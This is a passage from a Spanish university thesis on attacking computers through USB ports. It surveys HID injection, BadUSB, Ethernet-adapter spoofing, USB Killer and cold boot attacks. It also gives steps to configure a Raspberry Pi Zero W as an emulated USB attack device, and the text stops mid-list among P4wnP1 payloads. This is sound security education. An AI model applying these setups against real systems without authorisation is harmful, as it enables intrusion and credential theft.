HACKEANDO COMPUTADORES POR EL PUERTO USB HACKING COMPUTERS BY USB PORT TRABAJO FIN DE GRADO CURSO 2022-2023 AUTORES OMAR ASUIK ALILOU NICOLÁS ÁLVAREZ OLMOS JORGE EDUARDO GÓMEZ VÉLEZ DIRECTOR LUIS PIÑUEL MORENO GRADO EN INGENIERÍA INFORMÁTICA FACULTAD DE INFORMÁTICA UNIVERSIDAD COMPLUTENSE DE MADRID Agradecimientos Queremos expresar nuestro agradecimiento al director de este Trabajo de Fin de Grado, Luis Piñuel Moreno, por su colaboración. Este tema nos intrigaba desde el principio, y su respaldo ha sido fundamental para llevar a cabo este proyecto a pesar de las complicaciones surgidas al dividir el grupo. Agradecemos su guía a lo largo de todo el proceso. También a todas las personas conocidas a lo largo de nuestra etapa universitaria, que han conseguido que estos años se conviertan en una gran época para recordar toda la vida. Resumen HACKEANDO COMPUTADORES POR EL PUERTO USB El Trabajo de Fin de Grado (TFG) se enfoca en explorar el mundo del hacking y los ataques USB desde una perspectiva ética y responsable. Comienza con la comprensión de los conceptos fundamentales del hacking y sus implicaciones éticas y legales. Luego, se sumerge en el protocolo USB, analizando cómo los dispositivos se comunican con las máquinas anfitrionas y las vulnerabilidades asociadas. El enfoque principal se centra en el estudio detallado de esta herramienta, permitiendo la emulación de dispositivos USB y la ejecución de ataques simulados en entornos controlados. Después de adquirir una sólida base de conocimientos, el proyecto se dirige a los ataques más interesantes y relevantes. Se analiza en profundidad su funcionamiento y se investigan las posibles defensas y estrategias de seguridad para mitigar estos ataques. En conjunto, el TFG busca proporcionar una comprensión exhaustiva de los riesgos y contramedidas en el campo de los ataques USB y la seguridad informática. Palabras clave USB, Raspberry Pi, P4wnp1, Exploit, HID, Payload, Responder, DHCP, PoisonTap, Ethernet Abstract HACKING COMPUTERS BY USB PORT The Final Degree Project (TFG) focuses on exploring the world of hacking and USB attacks from an ethical and responsible perspective. It begins with understanding the fundamental concepts of hacking and its ethical and legal implications. It then dives into the USB protocol, analyzing how devices communicate with host machines and associated vulnerabilities. The main focus is on the detailed study of this tool, allowing the emulation of USB devices and the execution of simulated attacks in controlled environments. After acquiring a solid knowledge base, the project addresses the most interesting and relevant attacks. Their operation is analyzed in depth and possible defenses and security strategies to mitigate these attacks are investigated. Overall, the TFG aims to provide a comprehensive understanding of the risks and countermeasures in the field of USB attacks and computer security. Keywords USB, Raspberry Pi, P4wnp1, Exploit, HID, Payload, Responder, DHCP, PoisonTap, Ethernet ÍNDICE DE CONTENIDOS Capítulo 1 - Introducción 1 1.1 Motivación 2 1.2 Objetivos 2 1.3 Plan de trabajo 3 Capítulo 2 - Puerto USB 5 2.1 Historia del USB 5 2.2 Protocolo USB 6 2.3 Tipos de conectores 7 2.4 Protocolo HID 9 2.5 Vulnerabilidades 10 Capítulo 3 - Tipos de Ataque USB 11 3.1 Rubber Ducky 11 3.2 Falsificación adaptador Ethernet/USB 12 3.3 Bad USB 13 3.4 USB Killer 14 3.5 Otro tipo de ataques 15 Capítulo 4 - Raspberry Pi Zero W 17 4.1 Descripción 17 4.2 Especificaciones principales 18 4.3 Instalación del sistema operativo 19 Capítulo 5 - P4wnP1 23 5.1 Descripción 23 5.2 Payloads 24 5.3 Resultados obtenidos del exploit 25 Capítulo 6 - P4wnP1 ALOA 25 6.1 Introducción 25 6.2 Funcionamiento del exploit 26 6.3 Materiales necesarios 26 6.4 Tutorial de instalación 27 6.5 Configurar P4wnP1 ALOA 29 6.6 Payload de Reverse Shell 31 6.7 Payload de robo de contraseñas WiFi 38 6.8 Payload de Robo de ficheros 41 6.9 Payload de Memory Mug 45 6.10 Cómo defenderse de P4wnP1 ALOA 49 Capítulo 7 - PoisonTap 51 7.1 Introducción 51 7.2 Funcionamiento del exploit 51 7.3 Materiales necesarios 52 7.4 Tutorial de instalación 53 7.5 Configurar PoisonTap 57 7.6 Resultados obtenidos del exploit 64 7.7 Cómo defenderse de PoisonTap 68 Capítulo 8 - Responder 70 8.1 Introducción 70 8.2 Funcionamiento del exploit 71 8.3 Materiales necesarios 72 8.4 Tutorial de instalación 72 8.5 Configurar Responder 73 8.6 Resultados obtenidos del exploit 77 8.7 Cómo defenderse de Responder 82 Capítulo 9 - Conclusiones y relación con el Grado 84 9.1 Conclusiones del trabajo 84 9.2 Relación con lo estudiado en el Grado 85 Capítulo 10 - English 87 10.1 Introduction 87 10.2 Motivation 88 10.3 Goals 88 10.4 Work Plan 89 10.5 Conclusions 90 10.6 Relation to what was studied in the degree 91 Capítulo 11 - Contribuciones Personales 93 11.1 Omar Asuik Alilou 93 11.2 Nicolás Álvarez Olmos 96 11.3 Jorge Eduardo Gómez Vélez 99 Bibliografía 101 Capítulo 1 - Introducción La conectividad USB, una característica omnipresente en la mayoría de los dispositivos informáticos modernos, ha demostrado ser un arma de doble filo en el mundo de la ciberseguridad. Mientras que proporciona una útil puerta de acceso para periféricos y dispositivos móviles, también se ha convertido en un sigiloso aliado de los ciberdelincuentes. Este trabajo se adentra en el mundo de los ataques ocultos a ordenadores a través del puerto USB, un vector de ataque que ha demostrado ser sigiloso y efectivo. Los sistemas informáticos de hoy en día, ya sean computadoras personales o dispositivos empresariales, están equipados con uno o varios puertos USB. Estos puertos, en apariencia inocentes, pueden convertirse en la entrada secreta para la infiltración y el control de una computadora sin que el usuario lo perciba. En este contexto, las personas que, por desconocimiento o descuido, se convierten en víctimas de estos ataques, se enfrentan a consecuencias potencialmente devastadoras para su seguridad y sus datos. Nuestro Trabajo de Fin de Grado se sumerge en la profundidad de este problema, comenzando con una breve mirada a la historia del puerto USB y avanzando hacia la exploración de las vulnerabilidades específicas que permiten que estos ataques prosperen. Investigaremos las técnicas y estrategias utilizadas por los ciberdelincuentes para comprometer sistemas informáticos de manera oculta y eficaz. Este trabajo de investigación se centra en ataques a través de dispositivos HID (Human Interface Device) utilizando el puerto USB. Exploraremos la historia y el funcionamiento de estos ataques, además de su implementación con una Raspberry Pi Zero W. No solo analizaremos cómo funcionan estos ataques en diferentes contextos, sino que también ofreceremos soluciones posibles y ejemplos de uso junto con guías de instalación. 1 1.1 Motivación La principal motivación para realizar este proyecto es la curiosidad y aprecio por este campo de la informática. Vivimos en una era digital en la que la seguridad informática es fundamental. El tema elegido nos permitirá comprender y abordar una de las áreas más críticas y vulnerables de la ciberseguridad, además de aprender a contribuir a la protección de individuos y organizaciones frente a amenazas cada vez más sofisticadas, ya que, aunque los sistemas informáticos están muy presentes en la actualidad, todavía hay mucho desconocimiento y, por tanto, riesgo a que alguien sea víctima de este tipo de ataque. Por otra parte tendremos la oportunidad de expandir nuestras habilidades técnicas, profundizar en el funcionamiento interno de los sistemas informáticos y, mediante el hacking ético, pensar de manera innovadora y creativa en formas de encontrar vulnerabilidades y soluciones efectivas a ciertos ataques. 1.2 Objetivos Los objetivos principales de este Trabajo de Fin de Grado son investigar, analizar y proponer soluciones para abordar las vulnerabilidades y los riesgos asociados con el hackeo por el puerto USB, y se dividen en cuatro puntos: ● Analizar y comprender las vulnerabilidades del sistema a través de un análisis exhaustivo, identificando y documentando las técnicas y métodos utilizados en estos ataques, así como sus consecuencias potenciales. ● Evaluar la efectividad de las medidas de seguridad existentes para prevenir y mitigar los ataques. Esto será mediante un análisis detallado de las defensas existentes y una evaluación crítica de su capacidad para resistir los ataques más recientes. 2 ● Desarrollar técnicas de mitigación y soluciones defensivas para proteger los sistemas informáticos. Algunos ejemplos pueden incluir la implementación de protocolos de seguridad adicionales o el diseño de mecanismos de detección de intrusos. ● Fomentar la conciencia sobre la importancia de la seguridad informática, difundiendo información relevante y prácticas recomendadas para promover una mayor seguridad y prevenir posibles ataques. 1.3 Plan de trabajo Para empezar, comenzaremos por familiarizarnos con los conceptos fundamentales del hacking, comprendiendo sus motivaciones y las implicaciones éticas y legales que conlleva. Esta base será esencial para abordar los temas de manera informada y responsable. Una vez que tengamos una comprensión sólida de los fundamentos del hacking, nos centraremos en el protocolo USB y su funcionamiento. Aprenderemos cómo los dispositivos USB se comunican con las máquinas anfitrionas, comprendiendo cómo se establece esta conexión y qué vulnerabilidades podrían ser explotadas en el proceso. A medida que profundicemos en el mundo de los ataques USB, nos informaremos sobre una amplia gama de técnicas y tácticas de ataque. Desde ataques conocidos como BadUSB hasta el uso de herramientas como Rubber Ducky, pasando por la emulación de distintos dispositivos USB, examinaremos cómo estos ataques pueden comprometer la seguridad y la privacidad de los sistemas informáticos. Un componente crucial de nuestro proyecto será el estudio detallado de la Raspberry Pi Zero W, ya que es la herramienta principal con la que contamos para realizar la investigación sobre estos ataques. Nos brindará la capacidad de emular dispositivos USB 3 y llevar a cabo ataques en entornos controlados. Aprenderemos cómo configurar y utilizar esta plataforma para simular diversos tipos de ataques USB. Con la base de conocimientos que habremos adquirido, nos centraremos en los ataques que encontremos más interesantes y relevantes. Profundizaremos en su funcionamiento interno, explorando cómo se ejecutan y cómo podríamos defendernos ante ellos. Analizaremos las posibles contramedidas y estrategias de seguridad que podrían ayudar a mitigar estos ataques. 4 Capítulo 2 - Puerto USB 2.1 Historia del USB La historia de los puertos Universal Serial Bus (USB) comenzó en la década de los 90, cuando un grupo de empresas de tecnología se unieron para encontrar una solución única y común para poder conectar periféricos. Los orígenes del USB se remontan a 1994, cuando Intel, Compaq, Digital Equipment Corporation (DEC), IBM y Microsoft formaron una organización llamada USB Implementers Forum (USB-IF). Su objetivo era desarrollar un sistema de conectividad de alta velocidad y fácil de usar que reemplazara las complejas y numerosas interfaces que existían en ese momento, como los puertos serie, paralelo y PS/2 (para teclados y ratones). En 1996, finalmente se lanzó el primer estándar USB 1.0, que ofrecía una velocidad de transferencia de datos de hasta 12 Mb/s y permitía la conexión de hasta 127 dispositivos utilizando un solo puerto. Inicialmente, su adopción fue lenta debido a la falta de dispositivos compatibles y no llegó a ganar popularidad hasta que los fabricantes comenzaron a producir periféricos que utilizaban el nuevo estándar, como impresoras, escáneres y cámaras digitales. El verdadero punto de inflexión fue la introducción del USB 2.0 en el año 2000. Con esta versión aumenta significativamente la velocidad de transferencia a 480 Mbps, lo que le permite transferir archivos más grandes y completar tareas más rápido. USB 2.0 se convirtió en el estándar de uso generalizado para la mayoría de los dispositivos y computadores, despejando el camino para una mayor adopción y crecimiento del ecosistema USB. A medida que creció la demanda de dispositivos móviles en la década de 2000, el USB se adaptó a las necesidades del mercado. Se introdujeron variantes como USB On-The-Go (OTG), que permitía que un dispositivo móvil actuara como computadora host y 5 se conectara directamente a otros dispositivos USB como teclados, cámaras y unidades de almacenamiento externas. En 2008 apareció USB 3.0, que ofrecía mayores velocidades de transferencia de hasta 5 Gbps. Esta nueva versión se ha popularizado en unidades de memoria externas, discos duros y otros dispositivos que requieren una transferencia de datos rápida y eficiente. La introducción del USB Type-C en 2014 marcó otro hito en la historia del USB. Este nuevo tipo de conexión proporciona velocidades de transferencia más rápidas y la capacidad de transmitir video y audio. Hoy, con la introducción de USB 4.0 y la versión posterior, el USB continuará desarrollándose, y estas versiones continuarán mejorando las funciones de velocidad y conexión. Además, el USB se ha expandido más allá de los computadores y los dispositivos electrónicos y se usa ampliamente para cargar rápidamente dispositivos móviles, conectar periféricos en las industrias médica y automotriz y transferir datos en entornos industriales. 2.2 Protocolo USB El protocolo USB define la comunicación y transferencia de datos entre dispositivos electrónicos y computadores mediante puertos USB. Permite que se puedan agregar o quitar dispositivos mientras la computadora está funcionando sin causar daños (conexión y desconexión en caliente). El protocolo funciona en capas y cada capa tiene una configuración específica para facilitar la comunicación entre dispositivos conectados: Primero, la Capa Física define las propiedades eléctricas y mecánicas del conector USB y determina los niveles de voltaje y corriente utilizados para transferir datos y alimentar el dispositivo. Además, esta capa también define el tipo de conector, como USB-A, USB-B, USB-C, etc. 6 La Capa de Enlace de datos se ocupa de la gestión del acceso al bus USB y coordinación de la transferencia de datos entre múltiples dispositivos. Aquí se definen el formato del paquete y el esquema de detección y corrección de errores (checksum). Además, se implementa un sistema de direccionamiento para identificar los dispositivos conectados. La Capa de Transporte controla el flujo de datos entre el host (computadora) y los dispositivos conectados. Además, se definen diferentes tipos de transferencia de datos, como control, bulk, isócrona e interrupción que le permiten crear y controlar tasas de transferencia según las capacidades del dispositivo y el ancho de banda disponible. La Capa de Control realiza la configuración y gestión inicial de los dispositivos USB. Esta capa permite la comunicación entre el host y el dispositivo para solicitar información, enviar comandos y recibir respuestas. También se ha introducido un mecanismo de "descriptor", que proporciona información sobre las capacidades y características del dispositivo conectado. Finalmente, la Capa de Aplicación es donde residen los controladores y aplicaciones que utiliza el dispositivo. Aquí, el controlador permite que el sistema operativo interactúe con el dispositivo y realice las operaciones necesarias para que sea posible su funcionamiento en la computadora. 2.3 Tipos de conectores En el mundo de los conectores USB, existen varios tipos que se emplean para conectar dispositivos a computadoras y otros dispositivos que son compatibles con este estándar de comunicación. 7 Fig 2.1. Tipos de conectores USB El conector USB tipo A es un conector tradicional que se encuentra en la mayoría de los ordenadores y periféricos USB, como teclados, ratones y unidades flash USB. Tiene forma rectangular con bordes biselados y solo se puede insertar en una dirección. Los conectores USB tipo B se utilizan principalmente en impresoras, escáneres y algunos dispositivos de audio y vídeo. Tiene forma cuadrada con esquinas biseladas y solo se puede insertar en una dirección determinada. Antes de que los conectores USB Micro-B y USB Type-C se hicieran populares, los conectores USB Mini-B se utilizaban en dispositivos móviles y cámaras digitales. Su apariencia es más pequeña y compacta que la del Tipo A y el Tipo B, lo que lo hace adecuado para equipos portátiles con espacio limitado. Los conectores USB Micro-B también se utilizan en dispositivos móviles como teléfonos inteligentes y tabletas, así como en algunos dispositivos portátiles y periféricos. Es más pequeño y delgado que el conector Mini-B, lo que facilita su integración en dispositivos con un diseño compacto. El conector USB Type-C es uno de los conectores más nuevos y versátiles. Su diseño de doble cara permite insertarlo en cualquier dirección. Además, es capaz de realizar la transferencia de datos a velocidades más altas y admite mayor potencia para cargar dispositivos más rápido. Se utiliza en una variedad de dispositivos, incluidos portátiles, teléfonos inteligentes, tabletas y periféricos. 8 2.4 Protocolo HID El protocolo HID (Human Interface Device) fue creado para facilitar la comunicación entre dispositivos de entrada y salida, y fue desarrollado por el grupo de trabajo Universal Serial Bus (USB) Los dispositivos HID contienen una gran variedad de periféricos, desde teclados y ratones hasta gamepads, escáneres de códigos de barras, paneles táctiles y otros dispositivos. Además, tienen un lugar importante en sectores como la medicina, la industria y la automatización, donde se utilizan en paneles de control de maquinaria, dispositivos de medición y más. Uno de los componentes fundamentales de este protocolo es el formato de paquete, ya que éstos dispositivos envían informes de entrada al sistema host, que describen las acciones que realiza el usuario. Estos informes siguen un formato predefinido, que incluye un encabezado, datos y posiblemente un informe de estado. Los descriptores HID juegan un papel crucial al describir la funcionalidad de un dispositivo de entrada y salida al sistema host. Estos descriptores permiten al sistema host comprender la naturaleza y las capacidades del dispositivo HID. En relación a la transferencia de datos, USB proporciona distintos tipos, como interrupción y control que son utilizados por los dispositivos HID para enviar y recibir datos de manera eficiente y confiable.Dentro del conector USB existen varios tipos de conectores que se utilizan para conectar dispositivos a computadoras y otros dispositivos compatibles con este estándar de comunicación. Sin embargo, este protocolo también plantea ciertos riesgos de seguridad. Debido a que los dispositivos HID pueden generar eventos de entrada, es importante estar alerta ante posibles ataques, como los realizados mediante rubber ducky o teclados maliciosos. 9 2.5 Vulnerabilidades Diversas vulnerabilidades relacionadas al puerto USB han sido demostradas contra sistemas huéspedes. Estas técnicas incluyen la exfiltración de datos a través de memorias USB, así como el robo de tráfico de red para obtener información sensible como credenciales y contraseñas. También existen ataques de inyección de pulsaciones de teclas y clics de ratón mediante dispositivos USB modificados, que pueden realizar cambios en la configuración del sistema, abrir puertas traseras, recuperar datos o ejecutar malware. Además, cabe destacar la familia de ataques BadUSB, que se inician cuando un USB realiza una actualización maliciosa de firmware. Esto permite que el dispositivo actúe según las instrucciones programadas por el atacante, lo que aprovecha la falta de conocimiento de los usuarios acerca de los dispositivos USB malignos. También existe la rama de ataques de denegación de servicio (DoS) del equipo víctima, como el caso del ataque USB Killer, que destruye componentes sensibles del sistema. Es importante señalar que los dispositivos USB también pueden ser utilizados para atacar computadoras aisladas que se creen protegidas por redes air-gapped. 10 Capítulo 3 - Tipos de Ataque USB En el contexto de la seguridad informática, los dispositivos USB han surgido como herramientas de doble filo. Aunque hayan evolucionado la manera en la que interactuamos con la tecnología, también a dado paso a una gran apertura a brechas de seguridad. Uno de los aspectos más útiles y peligrosos es la capacidad de adoptar múltiples identidades, lo que desencadena en una variedad de vulnerabilidades y tipos de ataques. Dicho esto, salta a la vista que se puede realizar un gran análisis de distintos ataques y probar una gran variedad de exploits. Algunos de esos tipos de ataque son: 3.1 Rubber Ducky Como se ha comentado anteriormente, es posible configurar dispositivos USB para que realicen acciones automatizadas, como secuencias de comandos que copian y pegan archivos. Pero en concreto, existe un tipo de dispositivo, llamado Rubber Ducky, que se parece a una unidad USB pero tiene la capacidad única de ejecutar scripts automáticamente sin necesidad de interacción por parte del usuario. Basta con conectarlo a una computadora para que comience a ejecutar acciones predeterminadas como robar datos o infectar sistemas. Desde su introducción hace más de una década, el Rubber Ducky ha evolucionado significativamente en términos de funcionalidad. Ahora puede almacenar más información , llevar a cabo tareas más complejas y detectar más precisamente el tipo de dispositivo al que se conecta. 11 Este dispositivo puede ser programado para capturar contraseñas, ya que es capaz de registrar las pulsaciones de teclas en cualquier momento. Esto significa que podría registrar credenciales mientras se accede a servicios en línea de una organización o incluso a cuentas bancarias. Aunque también se puede utilizar para la automatización de procesos legítimos, el Rubber Ducky es más conocido por su capacidad de proporcionar acceso remoto no autorizado a sistemas y ejecutar scripts maliciosos para robar información. Más adelante mostraremos el funcionamiento de lo que podría considerarse, debido a ciertas similaridades, un familiar de este ataque, llamado P4wnP1 (y su versión ALOA). 3.2 Falsificación adaptador Ethernet/USB Es un tipo de ataque USB que involucra el uso de un microcontrolador (como puede ser una Raspberry Pi Zero W, lo veremos más adelante) para llevar a cabo una intrusión maliciosa en una red. Se basa en la falsificación de un adaptador Ethernet USB con el objetivo de comprometer la configuración de DHCP (Protocolo de Configuración Dinámica de Host) y tomar el control del tráfico en una red local. En resumen, el ataque consiste en conectar la unidad USB al equipo víctima, y como este dispositivo está programado para simular un adaptador Ethernet legítimo, una vez conectado, el microcontrolador lleva a cabo una serie de acciones para engañar a la red. El atacante puede programar el dispositivo para anular la configuración de DHCP, que normalmente asigna direcciones IP a los dispositivos en la red. Al falsificar esta configuración, el dispositivo malicioso podría asignar direcciones IP incorrectas o incluso 12 dirigir el tráfico hacia una dirección IP controlada por el atacante. Al ser posible redirigir o interceptar el tráfico de red, esto podría dar paso a rgrandes riesgos de seguridad como el acceso a información sensible. Este tipo de ataques a través de un dispositivo USB manipulado se basa en la explotación de la confianza en adaptadores Ethernet USB en la red. Al simular la funcionalidad de un adaptador Ethernet legítimo, el ataque busca la exposición de datos confidenciales, como pueden ser contraseñas u otras credenciales, y a una posible toma de control de la red por parte del atacante. Más adelante, hablaremos de un ataque de este tipo (PoisonTap), su funcionamiento, resultados y cuestiones que surgen durante su utilización. 3.3 Bad USB El ataque USB BadUSB es una estrategia que saca provecho de vulnerabilidades en el firmware de los dispositivos USB para realizar ataques a sistemas informáticos. Al contrario de los virus y malware comunes, el objetivo de BadUSB es aprovechar las vulnerabilidades de los drivers de los dispositivos USB para afectar su firmware. Esto permite que un dispositivo que parece inocente, como una memoria USB, pueda actuar de manera maliciosa cuando es conectado a un dispositivo. Esta habilidad de camuflaje y adaptabilidad de BadUSB hace que signifique un gran riesgo de seguridad para cualquier sistema informático. Pueden imitar gran cantidad de funciones, como unidades de almacenamiento, teclados o adaptadores de red. Una vez conectados a una computadora, pueden ejecutar comandos preprogramados para realizar las acciones maliciosas que el atacante desee, como la instalación de malware, el robo de datos o incluso el control remoto del sistema. 13 La capacidad de robo de información crítica es uno de los aspectos más preocupantes de BadUSB. Al camuflarse como un dispositivo confiable, puede llegar a capturar pulsaciones de teclas e interceptar contraseñas y credenciales enviadas por los usuarios víctima. La versatilidad y sigilo de BadUSB hacen que sea muy difícil de detectar y protegerse ante él. Bad USB saca partido de la confianza dada a los dispositivos USB y aprovecha su inocente apariencia para realizar acciones maliciosas sin levantar sospechas. Esta capacidad camaleónica hace que se convierta en una potente herramienta tanto para atacantes malintencionados como para profesionales de la seguridad, que realizan pruebas éticas de pentesting. 3.4 USB Killer Los USB Killer son dispositivos que pueden parecer unidades USB comunes, pero su propósito no es el almacenamiento de datos. En su interior, alojan un circuito electrónico diseñado para poder acumular energía, para liberarla en una súbita descarga. Esta descarga, que se produce en cuestión de instantes, tiene el potencial causar daños irreparables en portátiles, teléfonos móviles, ordenadores y una amplia gama otros sistemas electrónicos. Aunque a primera vista puedan parecer dañinos, en realidad, el propósito original de los USB Killer es analizar las defensas de la tecnología. Según lo indicado en su página web oficial, cerca del 95% de los dispositivos que utilizamos en nuestro día a día son susceptibles a ser afectados por la sobrecarga letal que el USB Killer genera. Se han realizado experimentos que respaldan esta afirmación, mostrando que son pocos los dispositivos que son capaces de resistir este tipo de ataque. 14 El funcionamiento del USB Killer se apoya en la utilización de condensadores para acumular energía. Básicamente, estos condensadores se pueden describir como placas metálicas paralelas que, cuando reciben corriente, generan un campo eléctrico. La magnitud de este campo determina la cantidad de energía que se almacena. A diferencia de otros escenarios que liberan la energía de forma gradual, el USB Killer emplea un mecanismo que libera toda la energía acumulada de manera instantánea. Estas descargas pueden llegar a alcanzar voltajes entre 210V y 220V. Considerando que la mayoría de los dispositivos (como portátiles en proceso de carga) operan con un voltaje medio constante de 12V a 25V, queda clara la capacidad destructiva que posee este tipo de dispositivo USB. 3.5 Otro tipo de ataques También se puede aprovechar el puerto USB para realizar ataques que no tienen extrema relación con el mismo. El "Cold Boot Attack" es un tipo de ataque informático cuyo objetivo es robar información sensible almacenada en la memoria RAM (Random Access Memory) de cualquier dispositivo, como puede ser un ordenador o un servidor, mientras se encuentra apagado o en un estado de bajo consumo de energía. Aunque no está directamente relacionado con dispositivos USB, se puede implementar el uso de medios USB para su ejecución. Este ataque saca provecho de una interesante característica de la memoria RAM: incluso después de apagar un dispositivo o de que entre en un estado de bajo consumo, pueden persistir durante un corto período de tiempo los datos que estaban almacenados 15 en la memoria RAM, antes de que se borren definitivamente. Esto se debe a que la memoria RAM necesita tiempo para resetearse después de perder su fuente de energía. En un "Cold Boot Attack", un atacante puede aprovechar este corto período de tiempo en el que los datos perduran en la memoria RAM para extraer información valiosa, como claves de cifrado, credenciales y otros datos confidenciales. En relación con dispositivos USB, el "Cold Boot Attack" podría hacer uso de un dispositivo USB como vector de ataque para cargar un programa malicioso en la memoria RAM de un dispositivo aprovechando esa fracción de tiempo, para que el programa se ejecute al reiniciar el dispositivo. 16 Capítulo 4 - Raspberry Pi Zero W 4.1 Descripción Lanzada en 2017, la Raspberry Pi Zero W es un dispositivo diseñado para ser extremadamente versátil en lo referido a proyectos y aplicaciones. La 'W' en el nombre significa 'Inalámbrico' (Wire-less), y este modelo cuenta con Wi-Fi y Bluetooth, lo que refleja todavía más flexibilidad en términos de comunicación y conectividad. Pese a su pequeño tamaño y coste, Raspberry Pi Zero W puede llevar a cabo una extenso abanico de tareas y proyectos, como pueden ser sistemas de automatización del hogar o servidores web. Una de las mayores ventajas que este modelo proporciona para realizar ataques reside en el puerto USB OTG (On-The-Go), que ofrece una increíble y valiosa versatilidad, especialmente cuando se ejecutan exploits como PoisonTap (como se muestra más adelante). Esta característica de poder emular un dispositivo USB es de gran importancia. Al configurar la Raspberry Pi como un dispositivo USB específico, se puede engañar al sistema atacado haciéndole a la víctima que se está comunicando con periféricos legítimos, como unidades flash y teclados. Esta función permite que la Raspberry Pi Zero W manipule la interacción con el sistema a infectar. Esto se debe a que la Raspberry es considerada fiable por la máquina víctima, por lo que sería posible engañar al sistema para que realice acciones que permitan la infección. También se debe tener en consideración que la Raspberry Pi Zero W, gracias al ya mencionado USB OTG, puede de emular dispositivos USB/Ethernet. Esto significa que puede presentarse como un adaptador de red USB común en la máquina objetivo. Esta característica abre un amplio abanico de posibilidades para controlar el tráfico de red. Por ejemplo, puede redirigir parte del tráfico a través de nuestra Raspberry, un paso esencial 17 de un ataque man in the middle. Estos ataques pueden interceptar y controlar el tráfico entre la víctima y la red, exponiendo o robando datos sensibles. Como hemos mencionado anteriormente, más adelante nos adentramos de manera profunda en un ataque de este tipo (PoisonTap). 4.2 Especificaciones principales ● CPU: mono core Broadcomm BCM2835 ARM11 a 1GHz ● GPU: VideoCore IV GPU ● RAM: 512MB ● Almacenamiento: ranura microSD ● Vídeo: salida mini HDMI y vídeo compuesto sin montar el conector ● USB: 1 x micro USB OTG datos ● Wi-Fi y Bluetooth usando el chip Cypress CYW43438 con soporte de 802.11n wireless LAN y Bluetooth 4.0. ● GPIO: 40 pin sin montar el conector ● Alimentación: 5V vía micro USB ● Dimensiones: 65mm x 30mm x 5mm Fig 4.1. Componentes de la Raspberry Pi Zero W 18 4.3 Instalación del sistema operativo Antes de hacer nada con la Raspberry, primero tenemos que instalar la Imagen del Sistema Operativo en la tarjeta MicroSD. Para ello, tenemos que conectarla a nuestro ordenador, y utilizar un programa que sirva para montar imágenes. Nosotros hemos usado Raspberry Pi Imager, aunque también hemos probado algún otro como Win32 DiskImager. Una vez abierto el programa, debemos elegir la versión del Sistema Operativo que queremos instalar (en nuestro caso, la última de Raspberry Pi OS de 32-bits, que es la evolución del anterior SO Raspbian), y el disco en el que deseamos instalar la imagen, que en nuestro escenario es la tarjeta MicroSD. Fig 4.2. Configuración Raspberry Pi Imager Además, debemos activar el SSH para poder iniciar sesión con username y password, y posteriormente realizar la conexión SSH con la Raspberry. Hemos elegido de usuario pi y de password raspberry, que son los más comúnmente utilizados, ya que eran los que venían por defecto en versiones anteriores del SO. Una vez configurado todo, solo falta darle a WRITE para que empiece a montar la imagen. 19 Fig 4.3. Raspberry Pi Imager en proceso de escritura de la imagen Una vez terminado el proceso, un mensaje avisa de que ya está montada la imagen en nuestra tarjeta. Fig 4.4. Escritura de la imagen completada Aun así, todavía quedan varias tareas por hacer para terminar de configurar la MicroSD antes de introducirla en la Raspberry. Sin sacarla de nuestro ordenador, buscamos el directorio donde está toda la información de la Tarjeta MicroSD, y realizamos las siguientes operaciones: ● Buscamos el documento de texto config.txt, y al final del mismo añadimos dtoverlay=dwc2 después de un salto de línea. Esto lo hacemos para habilitar el modo de dispositivo USB On-The-Go (OTG) en la Raspberry, lo que permite que la Raspberry Pi funciones haga pasar por un dispositivo USB 20 ● Localizamos el documento cmdline.txt, y a continuación de la palabra rootwait, añadimos modules-load=dwc2,g_ether. Esto carga los módulos necesarios para que el USB (nuestra Raspberry) adquiera el modo Ethernet. ● Creamos un archivo sin extensión llamado ssh para habilitar el servicio SSH (Secure Shell) en la Raspberry Pi de forma predeterminada. ● Añadimos un archivo llamado wpa_supplicant.conf, en el que está toda la configuración para que la Raspberry se conecte automáticamente a la red WiFi al encenderse. Fig 4.5. Contenido del documento wpa_supplicant.conf, hay que introducir los datos de tu red WiFi Una vez realizadas todas estas tareas, la tarjeta MicroSD estaría configurada. A continuación, introducimos la tarjeta en nuestra Raspberry, y conectamos esta al ordenador a través de un puerto USB. Cuando la Raspberry se haya iniciado, nuestro PC detectará que se ha conectado un nuevo dispositivo USB. Si el Sistema Operativo del ordenador no detecta automáticamente que es un dispositivo Ethernet, aparecerá en el Administrador de Dispositivos de la siguiente manera: Fig 4.6. Primera vez que la Raspberry aparece en el Administrador de dispositivos 21 Se puede ver en la imagen que identifica a la Raspberry como “Dispositivo serie USB”, pero no reconoce que es un dispositivo Ethernet. Esto es fácil de solucionar: simplemente hay que actualizar los drivers del dispositivo, que están disponibles en Internet. Fig. 4.7. Mensaje que indica que se han actualizado los drivers de la Raspberry Una vez actualizados, el ordenador ya reconoce la Raspberry como dispositivo Ethernet/RNDIS, como se puede observar en la Fig. 4.7. Para poder realizar la conexión SSH a la Raspberry desde nuestro ordenador, necesitamos un programa auxiliar. Nosotros hemos utilizado PuTTY. Fig 4.8. Interfaz de PuTTY 22 Una vez abierto el PuTTY, introducimos como Host Name raspberrypi.local y dejamos el resto de valores por defecto. Al darle a Open, se nos abrirá una consola que nos pide un usuario y contraseña. Debemos introducir las credenciales que hemos configurado en la instalación de la imagen en la tarjeta MicroSD (en nuestro caso son pi/raspberry). Fig 4.9. Consola de PuTTY una vez iniciada la sesión y abierta la conexión SSH con la Raspberry En este momento, ya tenemos la Raspberry configurada como un dispositivo USB/Ethernet y la conexión SSH está completada, por lo que podemos empezar a instalar Payloads, Exploits y Scripts en el dispositivo para realizar ataques a la máquina objetivo. 23 Capítulo 5 - P4wnP1 5.1 Descripción P4wnP1 es un proyecto de código abierto que utiliza una Raspberry Pi como una herramienta de pruebas de seguridad y hacking ético, sobre todo se centra en aprovechar la capacidad para emular dispositivos USB. Se pueden emular dispositivos como teclados, ratones y adaptadores de red, entre otros. Esto posibilita la ejecución de acciones automatizadas en el sistema objetivo, como la simulación de pulsaciones de teclas, la ejecución de scripts y la interacción con el sistema como si se tratara de un humano. P4wnP1 utiliza un lenguaje de scripting personalizado que permite programar acciones y comportamientos específicos. Por otra parte, es una herramienta útil para varios escenarios de pruebas de seguridad, como pruebas de penetración en redes, evaluación de sistemas de defensa, auditorías de seguridad y más. Los profesionales de seguridad y los investigadores pueden usar P4wnP1 para identificar vulnerabilidades en sistemas y aplicaciones, y para evaluar la efectividad de las medidas de seguridad implementadas. 5.2 Payloads Existen una variedad de payloads de los que se pueden hacer uso, pero los más destacables son: ● HID Covert Channel Frontdoor/Backdoor: crea un canal encubierto a través de la emulación de un dispositivo HID, lo cual permite enviar comandos o instrucciones al sistema objetivo de manera discreta. ● Windows 10 Lockpicker: se trata de un ataque automatizado diseñado para explotar contraseñas débiles o inseguras. 24 ● 